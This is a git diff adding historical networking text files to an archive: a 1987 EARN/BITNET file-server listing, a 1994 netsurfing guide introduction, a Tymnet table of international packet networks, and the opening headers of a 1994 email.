09:19:48 Austrian Node +Admin. NAMES fileO +M BEARNNAD NAMES B ALL ECB V 157 168 87/08/13 07:51:38 Belgian Node +Admin. NAMES fileM +K CEARNNAD NAMES B ALL ECC V . 0 ........ ........ Swiss Node +Admin. NAMES fileN +L CINAD NAMES B ALL EIC V . 0 ........ ........ Ivory Coast +Node Admin. NAMES fileN +L DEARNNAD NAMES B ALL ECD V 252 1303 87/08/07 11:18:48 German Node +Admin. NAMES fileN +L DKNAD NAMES B ALL EDK V 104 123 87/10/20 12:42:54 Danish Node +Admin. NAMES fileO +M EEARNNAD NAMES B ALL ECE V 126 84 87/03/04 13:08:09 Spanish Node +Admin. NAMES fileN +L FEARNNAD NAMES B ALL ECF V 193 626 87/09/29 18:30:39 French Node +Admin. NAMES fileO +M GBNAD NAMES B ALL EGB V . 0 ........ ........ British Node +Admin. NAMES fileM +K GRNAD NAMES B ALL EGR V . 0 ........ ........ Greek Node +Admin. NAMES fileM +K HEARNNAD NAMES B ALL ECH V 154 424 87/09/18 10:57:35 Dutch Node +Admin. NAMES fileO +M IEARNNAD NAMES B ALL ECI V 129 429 87/10/07 15:53:13 Italian Node +Admin. NAMES fileM +K IRLNAD NAMES B ALL EIR V 89 47 85/07/11 11:51:17 Irish Node +Admin. NAMES fileL +J ISNAD NAMES B ALL EIS V . 0 ........ ........ Icelandic +Node Admin. NAMES fileL +J ISRANAD NAMES B ALL EIL V 71 315 86/06/10 09:11:26 Israelian +Node Admin. NAMES fileM +K LNAD NAMES B ALL ECL V . 0 ........ ........ Luxembourg +Node Admin. NAMES fileL +J NEARNNAD NAMES B ALL ECN V 94 52 86/06/19 13:34:27 Norwegian +Node Admin. NAMES fileM +K PTNAD NAMES B ALL ECP V 124 7 86/12/12 18:06:42 Portuguese +Node Admin. NAMES fileO +M SEARNNAD NAMES B ALL ECS V 104 98 86/09/21 20:13:30 Swedish Node +Admin. NAMES fileO +M SFNAD NAMES B ALL ESF V . 0 ........ ........ Finnish Node +Admin. NAMES fileO +M TRNAD NAMES B ALL ETR V 109 60 87/09/21 14:24:23 Turkish Node +Admin. NAMES file +*************************************************************************K +* *K +* Network Information *K +* *K +************************************************************************* +* Map of network nodes (tree structure)! +* (substitute for NETMAP files) +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +G BITNET NODETREE B ALL BIT V/A . 0 ........ ........ BITNET +network mapO +M EARN NODETREE B ALL EMC V/A 101 860 87/08/11 16:57:29 EARN network +mapK +I NETNORTH NODETREE B ALL NNA V/A . 0 ........ ........ NETNORTH +network map +* Netmaps (printable format) +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +I AEARN NETMAP B ALL ECA V/A 80 48 87/07/15 08:10:13 Austrian +NetmapN + HEARN NETMAP B ALL ECH V/A . 0 ........ ........ Dutch NetmapL +J NEARN NETMAP B ALL ECN V/A 80 37 87/01/20 17:01:34 Norwegian +NetmapJ +H TREARN NETMAP B ALL ETR V/A 79 59 87/09/08 10:09:25 Turkish +Netmap +H NETSERV NETMAP B ALL CTL V/A 80 83 87/04/09 17:38:31 Netserv +interconnection +* Netmaps (editable format) (see NETMAP EXEC in PROGRAMS FILELIST) +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +I AEARN NETMAP$ B ALL ECA V 79 49 87/07/15 08:10:44 Austrian +NetmapN + HEARN NETMAP$ B ALL ECH V . 0 ........ ........ Dutch NetmapL +J NEARN NETMAP$ B ALL ECN V 80 38 87/01/19 19:40:10 Norwegian +NetmapJ +H TREARN NETMAP$ B ALL ETR V 79 48 87/08/11 18:51:08 Turkish +Netmap +H NETSERV NETMAP$ B ALL CTL V 80 89 87/04/09 17:39:09 Netserv +interconnection +* BITNET/EARN/NETNORTH Topology (Script format): +* This file is maintained by Paul Kunz (PFKEB at SLACVM) +L BITNET TOPOLOGY B ALL PFK V 78 1246 87/09/23 13:31:52 BITNET/EARN +sites +* Nodelists (long format) +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +I AEARN NODELIST B ALL ECA V/A 132 101 87/07/31 09:20:23 Austrian +NodelistJ +H BEARN NODELIST B ALL ECB V/A 132 234 87/08/13 07:56:49 Belgian +NodelistH +F CEARN NODELIST B ALL ECC V/A . 0 ........ ........ Swiss +NodelistN +L CIEARN NODELIST B ALL EIC V/A . 0 ........ ........ Ivory Coast +NodelistI +G DEARN NODELIST B ALL ECD V/A 132 1827 87/08/07 11:25:19 German +NodelistI +G DKEARN NODELIST B ALL EDK V/A . 0 ........ ........ Danish +NodelistJ +H EEARN NODELIST B ALL ECE V/A 132 139 87/03/04 14:19:57 Spanish +NodelistI +G FEARN NODELIST B ALL ECF V/A 132 851 87/09/29 18:30:00 French +NodelistJ +H GBEARN NODELIST B ALL EGB V/A 132 17 85/11/19 08:16:16 British +NodelistH +F GREARN NODELIST B ALL EGR V/A . 0 ........ ........ Greek +NodelistH +F HEARN NODELIST B ALL ECH V/A 132 575 87/10/16 10:47:58 Dutch +NodelistJ +H IEARN NODELIST B ALL ECI V/A . 0 ........ ........ Italian +NodelistH +F IRLEARN NODELIST B ALL EIR V/A 132 45 85/12/13 08:15:03 Irish +NodelistL +J ISEARN NODELIST B ALL EIS V/A . 0 ........ ........ Icelandic +NodelistL +J ISRAEARN NODELIST B ALL EIL V/A 131 438 87/08/09 08:11:10 Israelian +NodelistM +K LUXEARN NODELIST B ALL ECL V/A 132 18 86/09/25 07:20:19 Luxembourg +NodelistL +J NEARN NODELIST B ALL ECN V/A 132 44 87/04/02 09:17:39 Norwegian +NodelistM +K PTEARN NODELIST B ALL ECP V/A . 0 ........ ........ Portuguese +NodelistJ +H SEARN NODELIST B ALL ECS V/A 132 226 87/08/06 19:01:58 Swedish +NodelistJ +H SFEARN NODELIST B ALL ESF V/A 132 144 87/04/07 08:31:59 Finnish +NodelistJ +H TREARN NODELIST B ALL ETR V/A 134 98 87/09/21 14:23:35 Turkish +Nodelist +* Nodelists (short format) +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +I AEARN NODELST B ALL ECA V/A 132 43 87/07/31 09:20:55 Austrian +NodelistJ +H BEARN NODELST B ALL ECB V/A 132 98 87/08/13 07:52:29 Belgian +NodelistH +F CEARN NODELST B ALL ECC V/A . 0 ........ ........ Swiss +NodelistN +L CIEARN NODELST B ALL EIC V/A . 0 ........ ........ Ivory Coast +NodelistI +G DEARN NODELST B ALL ECD V/A 132 786 87/08/07 11:26:35 German +NodelistI +G DKEARN NODELST B ALL EDK V/A . 0 ........ ........ Danish +NodelistJ +H EEARN NODELST B ALL ECE V/A 132 55 87/03/04 14:19:30 Spanish +NodelistI +G FEARN NODELST B ALL ECF V/A 132 381 87/09/29 18:30:16 French +NodelistJ +H GBEARN NODELST B ALL EGB V/A 132 11 85/11/19 08:16:21 British +NodelistH +F GREARN NODELST B ALL EGR V/A . 0 ........ ........ Greek +NodelistH +F HEARN NODELST B ALL ECH V/A 132 251 87/10/16 10:47:43 Dutch +NodelistJ +H IEARN NODELST B ALL ECI V/A . 0 ........ ........ Italian +NodelistH +F IRLEARN NODELST B ALL EIR V/A 132 23 85/12/13 08:15:26 Irish +NodelistL +J ISEARN NODELST B ALL EIS V/A . 0 ........ ........ Icelandic +NodelistL +J ISRAEARN NODELST B ALL EIL V/A 131 203 87/08/09 08:09:06 Israelian +NodelistM +K LUXEARN NODELST B ALL ECL V/A 132 11 86/09/25 07:20:11 Luxembourg +NodelistL +J NEARN NODELST B ALL ECN V/A 132 23 87/04/02 09:18:01 Norwegian +NodelistM +K PTEARN NODELST B ALL ECP V/A . 0 ........ ........ Portuguese +NodelistJ +H SEARN NODELST B ALL ECS V/A 132 98 87/08/06 19:07:40 Swedish +NodelistJ +H SFEARN NODELST B ALL ESF V/A 132 59 87/04/07 08:31:51 Finnish +NodelistJ +H TREARN NODELST B ALL ETR V/A 134 43 87/09/21 14:23:57 Turkish +Nodelist +H BITNET NODELST B ALL BIT V 72 2114 87/10/08 07:38:37 List of +BITNET nodes +*************************************************************************K +* *K +* Files for Node Administrators and System Programmers *K +* *K +************************************************************************* +* Master Nodes File +* Due to its size the BITEARN NODES file should be retrieved onlyG +* once by each installation. Update files (VERSyymm NODUPD) andK +* an update program (UPDNODES, see PROGRAMS FILELIST) are available4 +* to apply the monthly updates to this file.A +* The PROGRAMS FILELIST offers several programs/execs forB +* displaying, printing and manipulation of the Nodes file. +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +M BITEARN NODES B PRV EMC V 239 8708 87/10/09 07:03:57 Master Nodes +File +K> * NODUPD B PRV EMC V ..... ..... ........ ........ Updates to +Master Nodes File + VERS8706 NODUPD B PRV EMC V 240 1630 87/06/10 17:50:05A + VERS8707 NODUPD B PRV EMC V 240 474 87/07/07 16:49:12A + VERS8708 NODUPD B PRV EMC V 240 880 87/08/12 15:39:49A + VERS8709 NODUPD B PRV EMC V 240 1280 87/09/10 16:00:03A + VERS8710 NODUPD B PRV EMC V 240 1754 87/10/09 09:38:17 +* Node Management and NAD and NCC task descriptions +* f rec last - changeM +* filename filetype m GET PUT -fm lrecl nrecs date time descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- $ +---------------------------------- +E NADTASK DESCRIPT B PRV EMC V/A 73 62 87/08/04 17:19:39 Node +Administrator's TasksJ +H NCCTASK DESCRIPT B PRV EMC V/A 73 403 86/09/19 16:03:28 Network +Country Coordinator's TasksN +L NODEMGMT DESCRIPT B PRV EMC V/A 79 275 85/11/05 17:21:04 Description +of Node ManagementN +L NODESFMT DESCRIPT B PRV EMC V/A 73 613 87/02/26 11:20:21 Description +of Nodes File Format +* Information Files, Forms, etc. +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- +M EARNJES2 HINTS B PRV EMC V/A 74 173 86/09/11 15:15:05 Problems and +solutions for JES2G +E EARNJES2 MODS B PRV SYL V 72 289 87/09/24 15:07:15 JES2 +modificationsO +M EARNJES3 HINTS B PRV EMC V/A 74 84 85/11/08 09:23:36 Problems and +solutions for JES3O +M EARNVM HINTS B PRV EMC V/A 77 277 86/09/11 15:14:32 Problems and +solutions for VMK +I LISTLPUN MEMO B ALL CHT V 82 1030 87/10/11 12:19:40 Listserv +Punch format descriptionJ +H NETDATA DESCRIPT B ALL PAS V/A 81 1065 87/05/11 13:50:44 Netdata +format descriptionM +K NETSOFT PRODUCTS B PRV MEY V/A 75 279 87/08/11 13:27:48 Networking " +software (various manufacturers)G +E NODES REGFORM B ALL EMC V/A 79 133 85/05/02 16:30:23 Node +Registration FormJ +H PROBLEM REPFORM B PRV EMC V/A 73 72 87/05/08 09:27:14 Problem +Reporting FormN +L RSCS APARLIST B PRV EMC V/A 73 40 86/05/06 11:43:32 Recommended +Apars for Rel3L +J WATERLOO LIBRARY B PRV STO V/A 80 2777 86/09/25 09:03:56 Descr. of +VM/SP modifications +* Mailer related files: +* f rec last - changeG +E* filename filetype m GET PUT -fm lrecl nrecs date time File +descriptionB +@* -------- -------- - --- --- --- ----- ----- -------- -------- ! +------------------------------- + DOMAIN GUIDE B ALL BIT V 80 196 87/07/08 12:00:47P +N DOMAIN NAMES B PRV VSH V 71 273 87/10/29 14:29:44 Names file of +domainsM +K MAILER NAMES B PRV BIT V 85 1082 87/09/01 16:47:10 Names file +for MailerM +K XMAILER NAMES B PRV BIT V 110 2005 87/10/08 11:09:58 Names file +for MailerM +K UCLAMAIL INFO B PRV SYL V 74 163 86/09/30 09:56:37 Info about +UCLA mailer diff --git a/textfiles.com/internet/netsurf b/textfiles.com/internet/netsurf new file mode 100644 index 00000000..2a3fb1d5 --- /dev/null +++ b/textfiles.com/internet/netsurf @@ -0,0 +1,51 @@ +alpha v0.02 + Internet Traveler Guide. The Alternative Journey. + By Yaron Bloom & Uri Hasson + June 1994 + ---- + + Ever get tired of the way your desktop looks? And I don't mean +the windows one! Yes... All those trashy little pieces of paper all +holding strange numbers like 129.120.104.19 or 132.70.9.1? Well, my +friend and I really got fed up with all that IP address crap running +'Round on the desktop and decided 'twas about time we had something +done. + + This HyperText database you have at your fingertips holds +the most of the more important information that two certified +netsurfers have gathered in their time. We have made no deletions to +the original database that we made. For example , we didn't erase the +BBSftp site branch etc'. This product is not even a `ware` . it's +just a convenient way to organise your net sessions, with a DOS TSR. +All the USEFUL info is right there for you. If there are any problems +in the technical aspects of operating this software then you cab reach us +at: + +Urihason@www-mail.huji.ac.il (Uri Hasson) +Uri.Hasson@f424.n402.z2.fidonet.org + +Yaron.Bloom@f411.n402.z2.fidonet.org (Yaron Bloom) + + We have made no deletions in this database comparing to the one +we use personally. There are no limitations to the distribution or +usage of this database. In fact, distribute it freely. All we ask in +return is that if you have one or more address or info you think will +find their place in this database, then please send the info to the +address mentioned six lines up. ( Yes.. That's the one) . If it is +not a synonym for one already appearing, then it will be included in +the next edition. + + WARNING AND ADVICE! + + Many months have been spent in collecting the info included + in the database. Giving it away to UltraNewbies will do + them more damage than good. We all know the importance of + netsurfing to the development of one's personality, and we + urge you give them that opportunity. + +sincerely, Yaron Bloom + Uri Hasson +June 1994. + + + \ No newline at end of file diff --git a/textfiles.com/internet/networks.lis b/textfiles.com/internet/networks.lis new file mode 100644 index 00000000..3a4940ad --- /dev/null +++ b/textfiles.com/internet/networks.lis @@ -0,0 +1,365 @@ + T E G + T I T T H A I + C S A A C S U + E N V S . U N + R A 5 N I N 8 5 V M M + I R 2 7 D R O 2 2 E Y Y +COUNTRY/DNIC/NETWORK D T T X M P C X X R T T +--------------------------I-------I-------I-------I-----------I-----------I +Alaska/3135/Alascom I X | I X | X I | X I X | | X I X | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Antigua/3443/Aganet I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Argentina/7220/ARPAC I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Argentina/7222/ARPAC I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Austria/2322/DATEX-P I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Austria/2329/RA I X | I X | X I X | I S | X | X I S | | I +--------------------------I-------I-------I-------I-----------I-----------I +Australia/5052/AUSPAC I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Australia/5053/Data AccessI X | I | X I | I | X | X I | | X I +--------------------------I-------I-------I-------I-----------I-----------I +Bahamas/3640/BaTelCo I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Bahrain/4263/BAHNET I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Barbados/3423 I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Belgium/2062/DCS I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Bermuda/3503/Bermudanet I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Brazil/7240/Interdata I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Brazil/7241/Renpac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Canada/3020/Datapac I X | I | X I | I | X | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Canada/3025/Globedat I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Canada/3028/CNCP I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Canada/3106/Tymnet Canada I X | I X | I X | I X | | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Cayman Islands/3463/IDAS I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Chile/3104/Entel I X | I X | I X | I X | | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Chile/7302/Entel I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Chile/7303/Chile-PAC I X | I | X I | I | X | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Chile/7305/VTR I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I + + + + + + + + + + + T E G + T I T T H A I + C S A A C S U + E N V S . U N + R A 5 N I N 8 5 V M M + I R 2 7 D R O 2 2 E Y Y +COUNTRY/DNIC/NETWORK D T T X M P C X X R T T +--------------------------I-------I-------I-------I-----------|-----------I +China/4600/PTELCOM I | X I | X I | I | X | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Columbia/3107/DAPAQ I X | I X | I X | I X | | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Costa Rica/7122/RACSAPAC I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Denmark/2382/Datapak I X | I | X I | I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I +Dominican Rep/3700/UDTS-I I X | I X | I X | I X | | I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Egypt/6020/ARENTO I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Finland/2442/Datapak I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +France/2080/Transpac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +France/2081/NTI I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Fr Antillies/3400/Dompac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Fr Guiana/7420/Dompac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Gabon/6282/Gabonpac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Germany F.R/2624/DATEX-P I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Greece/2022/Helpak I X | I X | X I X | I X | X | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Greenland/2901/KANUPAX I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Guam/5351/PCINET I X | I X | I X | I X | | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Guatemala/7043/GAUTEL I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Honduras/7080/HONDUTEL I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Hong Kong/4542/INTELPAK I X | I | X I | X I | X | X I | X | X I +--------------------------I-------I-------I-------I-----------I-----------I +Hong Kong/4545/DATAPAK I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Hungary/2621/DATEXL I X | I X | X I X | I | X | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Iceland/2740/Icepak I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Indonesia/5101/SKDP I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Ireland/2724/Eirpac I X | I | X I | I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I + + + + + + + + + + + T E G + T I T T H A I + C S A A C S U + E N V S . U N + R A 5 N I N 8 5 V M M + I R 2 7 D R O 2 2 E Y Y +COUNTRY/DNIC/NETWORK D T T X M P C X X R T T +--------------------------I-------I-------I-------I-----------I-----------I +Israel/4251/Isranet I X | I | X I | I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I +Italy/2222/Itapac I X | I | X I | X I | | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Italy/2227/Italcable I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Ivory Coast/6122/SYTRANPACI | X I | X I | I | X | X I | | I +--------------------------I-------I---------------I-----------I-----------I +Jamaica/3380/Jamintel I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Japan/4401/NTT DDX I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Japan/4406/NISnet I X | I X | X I | X I X | | X I X | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Japan/4408/KDD Venus-P I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Japan/4410/NI+CI I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Korea Rep/4501/DACOM-NET I X | I | X I | I | X | X I | | X I +--------------------------I-------I-------I-------I-----------I-----------I +Kuwait/4263 I X | I X | I | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Lebanon/4155/SODETEL I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Luxembourg/2704/Luxpac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Malaysia/5021/Maynet I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Mauritius/6170/MauriData I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Mexico/3340/TELEPAC I X | I | X I | I | X | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Netherlands/2041/Datanet-1I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Netherlands/2049/Datanet-1I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +N. Antillies/3620 I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +N. Marianas/5351/PCInet I X | I X | I X | I X | | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +New Caledonia/5460/Tompac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +New Zealand/5301/Pacnet I X | I | X I | I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I +Norway/2422/Datapak I X | I | X I | I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I +Panama/7141 I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I + + + + + + + + + + + + T E G + T I T T H A I + C S A A C S U + E N V S . U N + R A 5 N I N 8 5 V M M + I R 2 7 D R O 2 2 E Y Y +COUNTRY/DNIC/NETWORK D T T X M P C X X R T T +--------------------------I-------I-------I-------I-----------I-----------I +Panama/7142/INTELPAQ I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Peru/3104/IMPACS I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Philippines/5151/CAPWIRE I S | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Philippines/5152/PGC I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Philippines/5154/GMCR I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Philippines/5156/ETPI I X | I X | X I X | I X | X | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Polynesia/5470/Tompac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Portugal/2680/Telepac I X | I | X I | X I | | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Portugal/2682/SABD I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Puerto Rico/3300/UDTS-I I X | I X | I X | I X | | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Puerto Rico/3301/PRTC I X | I X | I X | I X | | X I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +Qatar/4271/DOHPAC I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Reunion/6470/Dompac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +San Marino/2922/X-NET I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Saudi Arabia/4263/Bahnet I X | I X | I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Singapore/5252/Telepac I X | I | X I | I | X | X I | | X I +--------------------------I-------I-------I-------I-----------I-----------I +South Africa/6550/Saponet I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +South Africa/6559/Saponet I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Spain/2145/Iberpac I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Sweden/2402/Datapak I X | I | X I | X I | X | X I | | S I +--------------------------I-------I-------I-------I-----------I-----------I +Switzerland/2284/Telepac I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Taiwan/4872/PACNET I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Taiwan/4877/UDAS I X | I X | X I X | I X | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Thailand/5200/IDAR I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I + + + + + + + + + + + T E G + T I T T H A I + C S A A C S U + E N V S . U N + R A 5 N I N 8 5 V M M + I R 2 7 D R O 2 2 E Y Y +COUNTRY/DNIC/NETWORK D T T X M P C X X R T T +--------------------------I-------I-------I-------I-----------I-----------I +Tortola, BVI/3483 I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Trinidad/3740/Textel I X | I X | X I X | I X | | X I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +Trinidad/3745/Datanett I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Tunisia/6050/RED25 I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Turkey/2862/Turpac I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Turks BWI/3763/ I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +UAE/3104/IMPACS I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +UAE/4243/EMDAN I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Uruguay/7482 I X | I X | I X | I X | | I | X | I +--------------------------I-------I-------I-------I-----------I-----------I +USSR/2502/Iasnet I X | I | X I | I | X | I | | I +--------------------------I-------I-------I-------I-----------I-----------I +U.S. Virgin I/3320/UDTS-I I X | I X | I X | I X | | I X | | I +--------------------------I-------I-------I-------I-----------I-----------I +U. Kingdom/2341/BTI IPSS I X | I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +U. Kingdom/2342/BT PSS I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +U. Kingdom/2350/Mercury I X | I X | X I | X I X | X | X I X | X | I +--------------------------I-------I-------I-------I-----------I-----------I +U. Kingdom/2352/Hull I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I +Zimbabwe/6482/Zimnet I | X I | X I | I | X | X I | | I +--------------------------I-------I-------I-------I-----------I-----------I + + + TOTALS: 77 International Foreign Administration Networks Directly + Connected to TYMNET + + 44 International Foreign Administration Networks Utilizing + Tymnet Technology + + 37 International Foreign Administration Networks Under + a Managed Data Network agreement + + + + + + + + + + + + +NETWORK INTERCONNECTIONS: + + DIRECT = Overseas facilities directly connected to TYMNET, allowing + direct network administration & technical support. + + TRANSIT = Service provided via an alternate carrier. + + T2 = Connection via the Tymnet enhanced variable length multi-user + packet protocol. + + X75 = Connection via basic CCITT X.75 protocol. + +TYMNET EQUIPPED FOREIGN ADMINISTRATION: + + MDN = Tymnet equipped Managed Data Network wereby TYMNET provides + Engineering, Network Administration and Technical Support to the + listed carrier. + + PRIVATE = Tymnet equipped network with its own independent Network + Management Center (Supervisor) + +PROTOCOL SUPPORT: + + CONSAT = Tymnet enhanced async packet processor software available + with end-to-end T2 capability. Allows unlimited IBM async + CMT & X.PC support. + + X28 = CCITT basic async Packet Assembler/Dissembler (PAD) + + X25 = CCITT Sync + +BILLING OPTIONS: (Caller Paid access available by default) + + RVC.CHG = Reverse Charging to the TYMNET host account available + + TYMUSA = Network Server/automatic TYMNET host acco + + diff --git a/textfiles.com/internet/news_dw.txt b/textfiles.com/internet/news_dw.txt new file mode 100644 index 00000000..fcf14827 --- /dev/null +++ b/textfiles.com/internet/news_dw.txt @@ -0,0 +1,265 @@ +From sk4p+@andrew.cmu.edu Wed Aug 10 20:17:23 1994 +Received: from nova.unix.portal.com (nova.unix.portal.com [156.151.1.101]) by jobe.shell.portal.com (8.6.4/8.6.4) with ESMTP id UAA16465 for ; Wed, 10 Aug 1994 20:17:22 -0700 +Received: from po3.andrew.cmu.edu (PO3.ANDREW.CMU.EDU [128.2.10.103]) by nova.unix.portal.com (8.6.7/8.6.4) with ESMTP id UAA03600 for ; Wed, 10 Aug 1994 20:17:21 -0700 +Received: (from postman@localhost) by po3.andrew.cmu.edu (8.6.7/8.6.6) id XAA09772 for Tyagi@houseofkaos.abyss.com; Wed, 10 Aug 1994 23:17:19 -0400 +Received: via switchmail; Wed, 10 Aug 1994 23:17:18 -0400 (EDT) +Received: from ccon-weh.weh.andrew.cmu.edu via 